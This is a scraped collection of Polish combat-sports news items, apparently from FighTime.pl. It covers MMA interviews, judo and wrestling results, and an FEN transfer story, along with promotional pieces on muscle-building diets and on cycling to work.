Zapraszamy do obejrzenia wywiadu z Mateuszem Śniadałą zawodnikiem MMA przed galą PLMMA 75 w Warszawie.
[kod]
Zapraszamy do obejrzenia wywiadu z Mateuszem Śniadałą zawodnikiem MMA przed galą PLMMA 75 w Warszawie.
[kod]
Zapraszamy do obejrzenia wywiadu z Marianem "Golden Boy" Ziółkowskim zawodnikiem MMA przed galą PLMMA 75 w Warszawie. Zapraszamy do oglądania.
[kod]
Zapraszamy do obejrzenia wywiadu z Mirosławem Oknińskim twórcą PLMMA a także trenerem sztuk walk przed galą PLMMA 75 w Warszawie.
[kod]
Drugie miejsca prześladują Beatę Pacut (78kg). W tym roku judoczka Czarnych Bytom już trzykrotnie była o krok od triumfu w międzynarodowych zawodach. Z pewnością największym dokonaniem 21-latki jest srebro wywalczone w Taszkiencie.
Beata Pacut stopniowo przebija się na pierwszy plan. W ubiegłym roku wygrała Puchar Europy w Warszawie. Kolejnym ważnym wydarzeniem w jej karierze jest drugie miejsce w zawodach Grand Prix w Taszkiencie. Czy to zapowiedź jeszcze lepszych wyników naszej judoczki?
Udana jesień
Możemy narzekać na pogodę i zmęcznie, bo w końcu mamy jesień. Beata Pacut nie zalicza się do tego grona. W październiku 21-letnia judoczka cieszyła się z drugiego miejsca w Taszkiencie. Polka wygrała trzy walki, w finale uległa Anastasiji Turchyn. – To był mój pierwszy start na zawodach z serii Grand Prix i też pierwszy taki wynik. Bardzo się cieszę z tak udanego debiutu. Cieszy mnie nie tylko wynik, ale także cały przebieg walk. Byłam zdeterminowana i pewna tego, co chcę osiągnąć. Był to pewien przełom, ponieważ z każdymi tak ważnymi zawodami i wynikami czuję się coraz bardziej pewna siebie – podaje FighTime.pl Beata Pacut.
Ale na tym nie koniec sukcesów 21-letniej zawodniczki. Pacut wywalczyła brązowy medal młodzieżowych mistrzostw Europy w Podgoricy. Jedyną pogromczynią Polki okazała się Niemka Anna Maria Wagner, która sięgnęła po złoto. – To był mój trzecie medal na mistrzostwach Europy. Jeden – srebrny w juniorach w Rumunii w 2014 roku, brąz na ME U23 w Bratysławie w 2015 i teraz kolejny brąz ME U23. To był mój ostatni start na młodzieżowych mistrzostwach Europy. Także cieszę się, że zakończyłam tą kategorię wiekowa z medalem i mam nadzieję na powtórki wyników w seniorach – przedstawia judoczka.
Teraz Japonia
Beata Pacut może być zadowolona ze swojej dyspozycji. W Pucharach Europy w Mińsku i Pradze oraz w Grand Prix w Taszkiencie zdobywała srebrne medale, znalazła się również w kadrze, która zdobyła wicemistrzostwo Europy i dołożyła brąz MME. Teraz przed zawodniczką pobyt w Japonii. – Już 1 grudnia wylatuję do Japonii. Lecimy do Tokio na międzynarodowy camp, na który co roku zjeżdża się bardzo dużo judokow z całego świata. Będę tam 16 dni. Będzie to mocny obóz. Można powiedzieć, że przygotowawczy przed kwalifikacjami olimpijskimi, które zaczynają się od kwietnia przyszłego roku – wyjaśnia Pacut.
Judoczka podkreśla, że cały czas musi być na najwyższych obrotach. – Niestety w judo nie ma czegoś takiego jak sezon, cały rok są turnieje i ciężko znaleźć czas na dłuższy odpoczynek. W tym roku miałam dwutygodniową przerwę od treningów po mistrzostwach świata. Traz po Japonii będzie chwilka na odpoczynek, aby znów się przestawić organizm do czasu polskiego. No i święta, więc przede wszystkim spędzenie czasu z najbliższymi. Nie będzie to tak długa przerwa, bo zaraz na początku stycznia ruszam na kolejne zgrupowanie do Austrii – prezentuje brązowa medalistka z Podgoricy.
Fot. Beata Pacut Facebook
KM
Biało-czerwoni bez medalu zakończyli zmagania w Młodzieżowych Mistrzostwach Świata w zapasach, które odbyły się w Bydgoszczy. Najlepiej zaprezentowali się zawodnicy rywalizujący w stylu klasycznym – Przemysław Piątek (59kg) i Roman Pacurkowski (66kg), którzy w swoich kategoriach zajęli piąte miejsca.
Na sześć dni Artego Arena w Bydgoszczy zamieniła się w arenę Młodzieżowych Mistrzostw Świata w zapsach. Początek dawał nadzieję na dobry występ Polaków, ale kolejne dni w wykonaniu biało-czerwonych nie napawały optymizmem.
Tylko jedno zwycięstwo wolniaków
O występach naszych pań i klasyków pisaliśmy tu. https://fightime.pl/pl/wiadomosci/medale-byly-blisko/ Warto wspomnieć, że najlepsze wyniki z całej naszej kadry zanotowali Przemysław Piątek (59kg) i Roman Pacurkowski (66kg). Obaj byli o krok od podium i ostatecznie uplasowali się na piątych miejscach. Niesmak pozostał, ale liczyliśmy, że czas przyniesie nam choć trochę radości. Ale nasze zapaśniczki nie wygrały ani jednej walki.
Pozostało liczyć na zawodników rywalizujących w stylu wolnym. Wszyscy wierzyli w dobry występ Kamila Kościółka (125kg). Wyglądało na to, że Polak jest na najlepszej drodze, aby wygrać z Aminem Taherimem. Były wicemistrz świata juniorów zaczął lepiej od Kościółka, jednak ten z czasem odrobił straty i wyszedł na prowadzenie. Do pełni szczęścia zabrakło zaledwie 25 sekund. Irańczyk sprowadził walkę do parteru, gdzie przechylił szalę zwycięstwa na swoją stronę. Równie szybko z turniejem pożegnali się Dawid Romanowicz (61kg) i Krzysztof Sadowik (86kg). Nieco dłużej trwała przygoda z mistrzostwami w przypadku Roberta Dobrodzieja (57kg). Polak przegrał z Kubańczykiem Reinerim Andreu Ortego, który sięgnął po mistrzostwo świata. Dobrodziej miał jeszcze szansę w repasażach, ale jej nie wykorzystał.
Jedyną wygraną na koncie wolniaków zapisał Marcin Majka (74kg). Zapaśnik ZTA Zgierz pokonał Kyrillosa Binenmpaouma i w 1/8 finału trafił na Yerkebulana Tileu. Kazach szybko zdobył prowadzenie, jednak Majka ambitnie walczył. Sprowadził rywala do parteru i wykonał obejście. Ćwierćfinał był blisko, ale ostatecznie to rywal walczył dalej. Dwie walki w Bydgoszczy stoczył Aleksander Wojtachnio. W repasażach Polak prowadził po pierwszej rundzie z Ty Walzem, ale nie utrzymał przewagi. Patryk Ołenczyn (65kg) i Kamil Banaszek (70kg) stoczyli tylko po jednej walce.
Udana impreza
Sportowo możemy być niezadowoleni, ale na poziomie organizacyjnym Bydgoszcz stanęła na wysokości zadania. W klimat imprezy muzycznie wszystkich wprowadził Rafał Brzozowski. A potem rozpoczęła się walka o medale. Zaplecze było przygotowana w taki sposób, aby każdy zawodnik mógł skupić się wyłącznie na rywalizacji i korzystać z komfortowych warunków.
Łącznie w Bydgoszczy wystartowało ponad 850 zapaśników, którzy stoczyli 578 walk.
Złoci medaliści MMŚ:
styl klasyczny: Masuto Kawana (59kg), Shmagi Bolkvadze (66kg), Daniel Cataraga (71kg), Faith Cengiz (75kg), Burhan Akbudak (80kg), Erik Szilvassy (85kg), Aleksandr Golovin (98kg), Sergey Semenov (130kg).
kobiety: Evin Demirhan (48kg), Moho Igarashi (53kg), Haruna Okuno (55kg), Yuzuro Kumano (58kg), Yui Sakano (60kg), Ayana Gempei (63kg), Koumba Larroque (69kg), Yasuha Matsuyuki (75kg).
styl wolny: Reineri Andreu Ortega (57kg), Rinyan Nakamura (61kg), Nachyn Kuular (65kg), Richard Lewis (70kg), Gadzhi Nabiev (74kg), Alikhan Zhabrailov (86kg), Mojtaba Goleij (97kg), Geno Petriashvili (125kg).
Fot. Zdjęcie poglądowe
KM
Zapraszamy na transmisję telewizyjna na żywo z European Club Championships – Golden League, które odbywają się w Ankarze w Turcji.
[kod]
Commentated Channel
Tatami 1
Tatami 2
Zapraszamy na transmisję telewizyjna na żywo z European Club Championships – Europea League, które odbywają się w Wuppertal w Niemczech.
[kod]
Commentated Channel
Tatami 1
Tatami 2
Tatami 3
Zapraszamy na transmisję telewizyjna na żywo z European Club Championships – Europea League, które odbywają się w Wuppertal w Niemczech.
[kod]
Commentated Channel
Tatami 1
Tatami 2
Tatami 3
Przemysław Piątek (59kg) i Roman Pacurkowski (66kg) startujący w stylu klasycznym zajęli piąte miejsca w Młodzieżowych Mistrzostwach Świata w zapasach, które odbywają się w Bydgoszczy. Z kolei w zmaganiach kobiet, nasze zawodniczki nie wygrały ani jednej walki. Na placu boju pozostali jeszcze zapaśnicy rywalizujący w stylu wolnym.
Wiara tli się w sercu, choć początek rywalizacji w mistrzostwach nie był udany dla Polaków. Zmagania w Bydgoszczy są już na ostatniej prostej.
A miało być tak pięknie…
24-osobowa reprezentacja Polski stanęła na starcie Młodzieżowych Mistrzostw Świata w zapasach. Pełni nadziei, z zapałem do rywalizacji i gotowi podjąć wyzwanie. Łącznie do Bydgoszczy zjechało ponad 850 zapaśników.
Pierwszego dnia zmagań najlepszy występ z Polaków zaliczył Rafał Krajewski (styl klasyczny, 98kg), który zajął siódme miejsce. Nasz zapaśnik fantastycznie rozpoczął zmagania w Bydgoszczy. Krajewski pokonał przez przełożenie przez łopatki Romasa Fridrikasa, a następnie uporał się z Amirhosseinem Hosseinim. Chińczyk Abudourexitiem Alimujiang rozprawił się z Polakiem w ćwierćfinale, a w półfinale uległ Aleksandrowi Golovinowi, który ostatecznie sięgnął po złoto. Porażka zawodnika z Azji z reprezenantetem Rosji sprawiła, że zapaśnik SSA Legia 1926 Warszawa mógł zapomnieć o rywalizacji o medal.
Jak wypadli pozostali Polacy? Iwan Nylypiuk (75kg) zajął 13. miejsce, Patryk Boniecki (85kg) 16, z kolei Mateusz Nowak (71kg) był 22.
Drugi dzień zmagań w Bydgoszczy niósł ze sobą ogromne nadzieje. Wszystko za sprawą Romana Pacurkowskiego (66kg), który był faworytem do stanięcia na podium. Polak zaczął fantastycznie i rozłożył na łopatki dwóch rywali. W pófinale trafił na mocnego przeciwnika. Shmagi Bolkvadze to brązowy medalista olimpijski i trzeci zawodnik ubiegłorocznych mistrzostw Europy z Rygi. Pacurkowski przegrał walkę o finał przez… pasywność. Podobnie sędziowie orzekli w przypadku starcia o brąz. Polak nie krył irytacji takim werdyktem. Nieco inną drogę do walki o brąz przebył Przemysław Piątek (59kg). W 1/8 Polak przegrał z Sergiejem Emelinem, który później wywalczył srebro. Piątek poradził sobie w repasażach, gdzie wyeliminował Raona Dumoyana, ale miejsca na podium pozbawił go Sakit Guliyev.
Rafał Płowiec (130kg) uplasował się na 14. pozycji, a Piotr Duk (80kg) na 15.
Kontuzja Kozłow
Powodów do zadowolenia nie mają nasze zapaśniczki. Reprezentantki Polski nie wygrały ani jednej walki. O krok od triumfu była Agnieszka Król (60kg), która w starciu z Yuliyą Pisarenko miała rywalkę na kolanach i przeprowadziła akcję, jednak sędziowie uznali, że było już po czasie. Polka przegrała 1:3. Paula Kozłow (53kg) w starciu z Amy Fearnside doznała kontuzji i musiała pożegnać się z mistrzostwami. Dobrze układała się walka Natalii Kubaty (63kg), która prowadziła, ale Niemka Luize Manzke wygrała przez przełożenie na łopatki.
Nadzieja w wolniakach
Na placu boju pozostali zawodnicy startujący w stylu wolnym. Duże nadzieje wiązane są z występem Marcina Majki (74kg). Również Kamil Kościółek (125kg) może włączyć się do walki o medale. Nasz zawodnik to brązowy medalista tegorocznych młodzieżowych mistrzostw Europy.
KM
O umięśnionej, atletycznej sylwetce marzy bardzo duża część męskiej populacji. Części Panów udaje się nawet owe marzenia urzeczywistnić. Niestety, wymaga to naprawdę ogromnego zaangażowania.
Jak zwiększyć masę mięśniową?
Proces budowy masy mięśniowej opiera się na kilku elementach. Przede wszystkim, należy zadbać o:
Niezwykle istotny jest także prowadzony tryb życia oraz regularny rytm dobowy.
Odżywianie przy budowie masy mięśniowej
Z całą pewnością niejednokrotnie spotkali się Państwo z określeniem „dieta na masę”. Tego typu jadłospis powinien być zbilansowany pod kątem generowanego zapotrzebowania. Zależny jest zatem od podejmowanej aktywności fizycznej, rodzaju wykonywanej pracy oraz masy ciała.
Dietę na masę musi cechować regularność. Posiłki muszą być konsumowane o stałych porach, w równych odstępach czasu. Należy jeść zgodnie z zasadą „mniej, ale częściej”. Zaleca się konsumpcję nawet do siedmiu małych posiłków na dobę.
Warto również pamiętać o tym, że dieta na masę musi być pełnowartościowa i zdrowa.
Trening przy budowie masy mięśniowej
Aby doszło do wzrostu masy mięśniowej musimy zadbać również o odpowiedni trening. Zdecydowanie najefektywniejszą formą stymulacji mięśni jest trening siłowy. Jego realizację najlepiej uskuteczniać na siłowni.
Plan treningowy na masę mięśniową powinien zawierać podstawowe ćwiczenia wielostawowe. Poniżej przedstawiamy ćwiczenia bazowe dla każdej grupy mięśniowej.
Pojedyncza sesja treningowa może mieć zarówno charakter ogólnorozwojowy (tzw. trening FBW – Full Body Workout), jak i absorbować tylko niektóre grupy mięśniowe (tzw. trening SPLIT – łączony).
Zaleca się trenować 3-4 razy w tygodniu, przy objętości nie większej niż 6-8 ćwiczeń. Łączny czas treningu nie powinien przekraczać 90 minut.
Suplementacja przy budowie masy mięśniowej
Istotną rolę w procesach rozbudowy włókien mięśniowych pełnią suplementy diety. Stosowanie preparatów takich jak: kreatyna, aminokwasy, gainery, boostery energetyczne czy l-karnityna pomaga zwiększyć efektywność treningu i diety na masę.
Należy mieć jednak na uwadze, że stosowanie suplementów diety nie stanowi alternatywy dla jadłospisu, czy treningu. Jest to tylko i wyłącznie dodatek. Zresztą całkiem skuteczny dodatek. Niektóre suplementy potrafią poprawić tempo budowy masy mięśniowej o nawet kilkanaście procent.
Jeśli chcesz dowiedzieć się więcej o procesach budowy masy mięśniowej, koniecznie odwiedź przyrostmasy.pl.
13 stycznia w Węgrowie odbędzie się "Bal Mistrzów Kickboxingu" podczas którego wręczone zostaną nagrody i wyróżnienia dla zawodników, trenerów, działaczy, sponsorów oraz klubów za sukcesy i pracę włożoną w rozwój naszej dyscypliny w 2017 roku.
Imprezę poprowadzi red. Bogdan Saternus. Po części oficjalnej odbędzie się bal noworoczny, szczegóły wkrótce.
Transmisja z Balu Mistrzów Kickboxingu na antenie telewizji FighTime.
Czy opłaca się jeździć rowerem do pracy? Zalety dojazdów jednośladem przypominają nam się, kiedy codziennie rano stoimy w korku w zatłoczonym autobusie, tramwaju czy samochodzie; kiedy tankujemy na stacji benzynowej czy mamy zadyszkę po krótkim biegu do publicznego środka komunikacji, która niby trwa tylko chwilę, a wydaje się śmiertelna. Wtedy żałujemy, że nie jeździmy codziennie do pracy rowerem.
I zaoszczędzilibyśmy, i nie tracilibyśmy czasu w miejskich korkach, i poprawilibyśmy swoją kondycję – zauważa autor bloga jaki-rower.pl. Chociaż to trzy najważniejsze zalety dojazdów rowerem do pracy, istnieją także minusy tego przemieszczania się. Zwłaszcza kiedy ścieżka rowerowa urywa się nagle w najmniej optymalnym miejscu, na zewnątrz zaczyna lać jak z cebra, a ponadto masz wrażenie, że przez noc na Twojej trasie pojawiły się nowe dziury w asfalcie. Czy zatem dojazd rowerem do pracy ma same superlatywy, czy jednak ma też wady, o których mówi się mniej?
Wiele osób ma współcześnie pracę biurową, polegającą w głównej mierze na siedzeniu przed komputerem przez kilka godzin. Nie każdy pamięta o chociażby 5-minutowych przerwach na krótkie rozruszanie się – ani tym bardziej o prawidłowej pozycji do siedzenia i pracy przed monitorem. W efekcie – sami sobie wyrządzamy wady postawy. Ponadto tryb siedzący życia ma negatywny wpływ na nasze zdrowie. Codziennymi dojazdami do pracy minimalizujesz jego skutki, nawet jeżeli sam dojazd trwa ok. 15-30 minut – policz sobie, ile wyjdzie Ci aktywnych godzin w miesiącu. W porównaniu do zera to imponująca liczba, prawda?
Skutki fizyczne pracy odczuwają osoby pracujące fizycznie – dźwigające ciężkie towary, obsługujące klientów w kasach marketowych, pracujące na budowach, remontujące mieszkania i budynki, prowadzące kilka godzin treningów dziennie w klubach fitness itp. Po takiej pracy czasami jedyne, na co masz ochotę, to po prostu usiąść i odpocząć. W takim wypadku u Ciebie sprawdzą się lepiej weekendowe wycieczki rowerowe czy relaksujące przejażdżki po pracy wśród zieleni, kiedy będziesz mieć na takie ochotę.
Codzienne dojazdy rowerem do pracy to nie tylko minimalizowanie skutków siedzenia, ale też praca nad kondycją. Nawet 15-minutowy trening jest lepszy niż żaden – co prawda dojazd na rowerze do pracy to nie intensywne interwały czy jazda górska z dozą adrenaliny, ale na dobry dzień wytworzysz endorfiny i rozbudzisz się o poranku. Oczywiście można jechać do pracy szybko – ale po co się tak bardzo spieszyć, zwłaszcza kiedy na miejscu nie możesz wziąć prysznicu? Wystarczy wyjechać odpowiednio wcześnie, aby nie gnać na złamanie karku i nie powitać współpracowników zmęczoną, spoconą twarzą.
Normalny bilet na komunikację miejską kosztuje, podobnie jak paliwo. Ponadto do samochodu możesz doliczyć sobie jego obowiązkowe ubezpieczenie, naprawy, przeglądy, wymianę opon, kupowanie akcesoriów itp. Oczywiście rower nie oznacza, że powinieneś całkiem zrezygnować z posiadania samochodu – ale znacznie ograniczając jego użytkowanie na co dzień dużo oszczędzasz – przede wszystkim na paliwie. Jeżeli ktoś nie potrafi sobie wyobrazić, że dzięki jeździe na rowerze osiąga lepszą kondycję i pracuje na swoje zdrowie, bardziej materialny argument – widoczny od razu na koncie bankowym czy w portfelu – powinien go przekonać.
Argument o braku prysznicu w pracy lub braku czasu na niego po dojechaniu jest jednym z najczęściej spotykanych. Sęk w tym, że jazda na rowerze nie jest jednoznacznie związana z mało estetycznym wyglądem po dojechaniu do pracy.
Po pierwsze – wystarczy wyjechać odpowiednio wcześnie, aby się nie spieszyć. Jeżeli jedziesz stosunkowo wolno, podczas takiej przejażdżki nie obleją Cię poty. Kiedy idziesz szybkim marszem do pracy, nie narzekasz po dojściu do miejsca, że nie możesz wziąć prysznicu, prawda?
Po drugie – na czas jazdy warto założyć termoaktywne ubranie, które doskonale pozwala skórze oddychać i odparowuje pot na zewnątrz. Komfort jazdy na rowerze w termoaktywnym ubraniu w porównaniu do bawełnianych ubrań czy z innych materiałów jest nieporównywalny.
Po trzecie – liczy się też sposób przewożenia przez Ciebie rzeczy. Z pewnością przyda Ci się bagażnik, sakwy tylne lub przedni koszyk na potrzebne na co dzień rzeczy. Tak po prostu będzie Ci lżej – przez plecak będzie Ci minimalnie ciężej (w zależności od tego, co w nim masz), a jazda z torebką przewieszoną przez jedno ramię nie jest bezpieczna.
Spacer w rzęsistym deszczu jest przyjemny tylko w komediach romantycznych. Mało kto lubi biegać czy jeździć podczas ulewy na rowerze, jednak sam spadek temperatury jesienią nie powinien oznaczać rezygnacji z wszelkich aktywności fizycznych na dworze i ograniczenie się przemieszczania się do minimum. Wystarczy odpowiednie ubranie – nawet na deszcz, takie jak sportowa kurtka wodoodporna i wodoszczelna z membraną – aby dojechać do pracy. Jak już wspomnieliśmy, na rower wybieraj ubrania termoaktywne. Klejąca się do ciała bawełniana koszulka nie jest przyjemna, łatwiej też o przewianie, kiedy do ciała przylega mokry materiał. Jeżdżąc na rowerze codziennie w zmiennych warunkach, poprawiasz naturalnie odporność.
Nie wiesz, jak to będzie pierwszy raz pojechać do pracy na rowerze w zimny poranek? Przetestuj swoją trasę w wolny dzień w podobnych warunkach – chociaż ruch na drogach będzie mniejszy, Ciebie i tak nie czeka stanie w korkach, a dowiesz się, ile mniej więcej czasu zajmuje Ci droga do pracy, jaką trasę warto wybrać – czy to ze względu na czas, czy okoliczności przyrody. Powodzenia!
Więcej porad rowerowych:
https://jaki-rower.pl/porady-rowerowe/
https://jaki-rower.pl/najlepsze-rowery-meskie-jaki-rower-dla-mezczyzny-kupic/
https://jaki-rower.pl/co-to-jest-rower-gorski-zasady-doboru-roweru-gorskiego/
Organizacja Fight Exclusive Night ruszyła na polowanie. Celem łowów stał się doświadczony Damian Grabowski. Czy zawodnik MMA po ponad czterech latach ponownie zaprezentuje się w Polsce?
37-letni Damian Grabowski należy do kategorii tych zawodników, którzy z niejednego pieca chleb jedli. Z pewnością jego przejście do FEN byłoby swego rodzaju hitem transferowym.
W UFC nie dał rady
Pierwszy zawodowy pojedynek Grabowski stoczył ponad dziesięc lat temu i wygrał już w pierwszej rundzie. W 2009 roku wystartował w turnieju wagi ciężkiej UCFC w Wiedniu. Polak wygrał cztery walki, a w finale przez duszenie zza pleców w drugiej rundzie pokonał Serba Miodraga Petkovicia. Później próbował podbić Bellatora. Zawodnik specjalizujący się w brazylijskim jiu-jitsu zaprezentował się w turnieju wagi ciężkiej, jednak w półfinale przegrał z Cole'em Konradem. Dobrze radził sobie w Rosji. W listopadzie 2013 roku pokonując Kenny'ego Garnera, Grabowski sięgnął po pas mistrzowski M-1 Global w wadze ciężkiej. Z tytułu nie cieszył się długo, bo w pierwszej obronie stracił go na rzecz Marcina Tybury. Ale w końcu trafił tam, gdzie chce dojść każdy wojownik MMA. Usługami Grabowskiego zainteresowało się UFC. Jednak tej przygody Polak miło wspominać nie będzie. Trzy walki, trzy porażki i amerykańska organizacja pożegnała się z Grabowskim.
Trzeba jednak przyznać, że na polskim rynku 37-latek stanowi „gorący towar”. Negocjacje z zawodnikiem prowadzi organizacja Fight Exclusive Night. – Damian to znakomity zawodnik i negocjujemy z nim zasady współpracy z FEN. W marcu organizujemy wielką, jubileuszową galę i bardzo chciałbym, aby Grabowski był jednym z jej bohaterów. Z kim bym go zestawił? Może z Danielem Omielańczukiem? To byłoby coś! Jak kraść to miliony – powiedział Paweł Jóźwiak, prezes FEN.
Czy występ Grabowskiego 10 marca na Torwarze jest realny? Włodarze organizacji dokładają wszelkich starań, aby tak się właśnie stało.
Niewykluczone, że FEN wzmocni również inna gwiazda polskiego MMA. Włodarze organizacji rozmawiają z byłym mistrzem KSW w wadze do 84kg Krzysztofem Kułakiem.
Torwar czeka
Organizacja FEN po raz trzeci będzie gościła na warszawskim Torwarze i po raz kolejny w marcu. Jakby trójek było mało, planowane są trzy walki o pasy mistrzowskie. Gala FEN 20 „Next Level” odbędzie się 10 marca o 18.00. Sportowych wrażeń dostarczą m.in. Kamil Łebkowski, Marcin Naruszczka oraz Marian Ziółkowski.
Fot. Damian Grabowski Facebook
KM
Manny Pacquiao nie raz zachwycał bokserski świat genialnymi pojedynkami. „Pacman” postanowił realizować się na arenie politycznej i został senatorem. „Im dalej w las…”. Pacquiao postanowił podzielić się swoimi spostrzeżeniami na temat świata polityki.
39-latek odniósł sukces i chciał się zaangażować w pracę na rzecz poprawy sytuacji na Filipinach. Gdy wszedł do świata polityki, zobaczył jego blaski i cienie.
Liczy się dobro wspólne?
Platon pojmował politykę jako realizację idei dobra, u Arystotelesa było to szczęście jako eudajmonia, czyli troska o dobro wspólne. Inaczej na tę kwestię patrzył Niccolo Machiavelliego. Florencki filozof postrzegał politykę jako dążenie do zdobycia, zachowania i umocnienia władzy. Z kolei w tradycji republikańskiej jest to realizacja dobra wspólnego. Za klasyczną uznawana jest definicja przedstawiona przez Maxa Webera. Niemiecki socjolog politykę przedstawiał jako dążenie do udziału we władzy bądź wywierania wpływu na jej podział.
Jak widzimy na pierwszy plan rzuca nam się kwestia dobra wspólnego i władzy. Praktyka pokazuje, że ten, kto rządzi decyduje o kształcie życia społeczenego. Oczywiście w demokracji konieczne jest poszanowanie prawa i wolności jednostki. Istnieje również opozycja, która bacznie obserwuje i krytykuje poczynania rządzących. Na pozór wszystko wydaje się proste, jednak nie możemy mówić o idylli. Życie pokazuje, że często trudno o kompromis, a „człowiek człowiekowi wilkiem” bądź jak zwracał uwagę Juan Donoso Cortes „natura człowieka jest chora i ułomna”. Jedno jest pewne – wszyscy chcieliby żyć w ładzie i porządku, jednak każdy definiuje go na swój sposób. Stąd liczne konflikty, a przy okazji pojawia się kwestia etyki i moralności.
Przysłowiowy zjadacz chleb obserwując świat polityki bywa zniechęcony. Ciągłe kłótnie, wzajemne obrażanie i pomijanie najpotrzebniejszych potrzeb. Również ta kwestia dotknęła wielkiego boksera. Manny Pacquaio jest senatorem Filipin, ale polityka go rozczarowuje. – Czuję się zniechęcony. Nie przywykłem do politykowania. W polityce nie wiadomo, czy coś jest prawdziwe czy nie. Ludzie mają wiele twarzy – powiedział popularny „Pacman”.
Będzie dalej walczył
Dla Pacquiao głównym problemem jest brak aktywności polityków w celu poprawy w sytuacji w kraju. – Ważne, żeby każdy czuł problemy ubogich. Bogaci je znają, ale nie czują sytuacji biednych. Inaczej to wygląda, kiedy jest rozumiesz – podkreśla Pacquiao.
39-latek wylewa swoje żale, ale nie zamierza rezygnować z polityki. Prawdopodobnie ponownie będzie się ubiegał o urząd senatora w 2022 roku. Wydawało się, że Pacquiao skupi sie wyłącznie na polityce. 9 kwietnia 2016 roku wygrał z Timothym Bradleyem i miała być to jego ostatnia walka. Blisko siedem miesięcy później wrócił i pokonał Jessiego Vargasa. Ostatnio walczył w lipcu, ale zanotował porażkę. Jego pogromcą okazał się Jeff Horn. Pacquaio podkreślał, że będzie chciał skorzystać z możliwości rewanżu.
KM
Maciej Sarnacki (+100kg) może być zadowolony z tegorocznych startów. 30-letni judoka zwłaszcza w jesiennych występach błyszczy formą. Po raz pierwszy w karierze zawodnik Gwardii Olsztyn zdobył srebro w zawodach rangi Grand Prix. O równie udanej jesieni mogą mówić Kinga Wolszczak (+70kg) i Rafał Kozłowski (90kg).
„Polska złota jesień” w przypadku Sarnackiego wygląda nieco inaczej. Judoka w dwóch kolejnych turniejach dochodził do rywalizacji o zwycięstwo, ale w ostatnich starciach musiał uznać wyższość rywali.
Najlepszy rok w karierze
Ponad rok temu Maciej Sarnacki zanotował najważniejszy start w karierze. Polak wystąpił w Igrzyskach Olimpijskich w Rio de Janeiro. W pierwszej rundzie odprawił Thormodura Jonssona, ale w kolejnej przegrał z późniejszym brązowym medalistą Orem Sassonem. Ale wszystko wisiało na włosku. W maju zawodnik zerwał przyczep mięśnia dwugłowego i więzadła pobocznego oraz uszkodził nerw strzałkowy. Trwała walka z czasem, ale trudno było przypuszczać, że Sarnacki wystąpi w Rio. Udało się, ale potem 30-latek kolejny występ zaliczył w marcu br. Wygrał rywalizację w Katowicach, co było dobrym prognostykiem przed kwietniowymi mistrzostwami Europy w Warszawie.
Od czempionatu Starego Kontynetu Sarnacki potwierdza, że bez wątpienia jest czołowym, o ile nie najlepszym polskim judoką. W Warszawie walkę o brąz przegrał z Czechem Lukasem Krpalkiem i zajął ostatecznie piąte miejsce. To najlepszy wynik zawodnika Gwardii w mistrzostwach Europy. Rok i dwa lata temu przeszkodą nie do przejścia dla judoki była druga runda.
Przyszedł październik. O ile w Warszawie Sarnacki mógł mieć niesmak, to w Abu Dhabi nie krył radości. W zawodach Grand Slam zajął drugie miejsce. Wcześniej w zmaganiach tej rangi zdobył trzy brązowe medale. Listopad również przyniósł wyjątkowe chwile dla Sarnackiego. Po raz pierwszy w karierze stanął na drugim stopniu podium zawodów rangi Grand Prix. W Hadze lepszy od Polaka okazał się jedynie Roy Meyer. Wcześniej Sarnacki zajmował trzecie miejsca w Tbilisi (2016) i Jeju (2014).
W tym roku Maciej Sarnacki trzy razy znalazł się na podium w międzynarodowych startach. Dwukrotnie był piąty. Również w mistrzostwach Europy zajął piątą pozycję, jedynie w mistrzostwach świata wypadł poniżej oczekiwań i odpadł w pierwszej rundzie. Równy i dobry sezon daje nadzieję, że kolejne starty będą równie udane, a zarówno przełomowe i dadzą Sarnackiemu złote medale w zawodach Grand Prix i Grand Slam.
Kozłowski uparł się na brąz
„Jak Filip z konopi” wyskoczył Rafał Kozłowski, który ponownie błysnął formą. 22-latek zajął trzecie miejsce w Grand Prix w Hadze. Dwa tygodnie temu zdobył brąz młodzieżowych mistrzostw Europy. We wrześniu był również trzeci w Pucharze Europy w Brtysławie.
Cieszy dobra postawa Kingi Wolszczak. Blisko miesiąc temu 16-latka wygrała zawody Pucharu Europy kadetów w Koper. W ostatnim starcie triumfowała w Gyor, gdzie w drodze po złoto pokonała trzy rywalki.
KM
Drugie urodziny, dwa dni, dwie gale – “Double Trouble” Ladies Fight Night – już w grudniu w Łodzi!
Za miesiąc, 15 i 16 grudnia 2017, w łódzkim Klubie Wytwórnia, odbędzie się kolejna gala, jedynej w Europie kobiecej organizacji sztuk walki MMA i K1 Ladies Fight Night. Dwa dni niezapomnianych emocji, potęgowanych podwójną dawką sportowych wrażeń. Nazwa nie jest przypadkowa, grudniowy event łączy ze sobą dwie gale, podczas których zaprezentuje się czołówka polskich jak również najlepszych zawodniczek z Europy (między innymi z Francji, Szwecji, Włoch, Czech i Rumunii) głównie w formule MMA.
Cristina Stanciu vs Magdalena Sormova na LFN 7 – 15 grudnia 2017 r. (piątek)
W walce wieczoru zobaczymy utalentowaną Cristinę Stanciu (Rumunia) – dwukrotnie prezentowała się na UFC vs Magdalena Sormova (Czechy) po raz drugi zaprezentuje się na gali LFN. W Karpaczu czyli, dokładnie rok temu, wyeliminowała Weronikę Zygmunt.
Rymarzak vs Waliczek na LFN 8 – 16 grudnia 2017 r. (sobota)
Niesamowite spotkanie dwóch doświadczonych wojowniczek, Judyta Rymarzak (Gladiator Siedlce) vs Marta Waliczek (DAAS Berserker's Team Bielsko – Biała). W sobotni wieczór będziemy świadkami pojedynku jedynego w swoim rodzaju, utytułowane zawodniczki w kick-boxingu, po raz pierwszy zaprezentują swoje umiejętności w formule MMA. Która z nich zwycięży?
Podczas “Double Trouble” barwy LFN, również po raz pierwszy reprezentować będą takie zawodniczki jak Basia Nalepka, Izabella Badurek oraz Magdalena Rak.
Rejestracja wejściówek
Pragniemy poinformować, iż wejściówki na nasze gale można uzyskać poprzez rejestrację na naszej odświeżonej stronie: www.lfn.com.pl. Ilość miejsc ograniczona.
Transmisja gal
Gale Ladies Fight Night “Double Trouble” LFN 7 i LFN 8 podobnie jak wszystkie poprzednie będą transmitowane bezpłatnie. Dostęp na naszej stronie Facebook oraz www.lfn.com.pl.
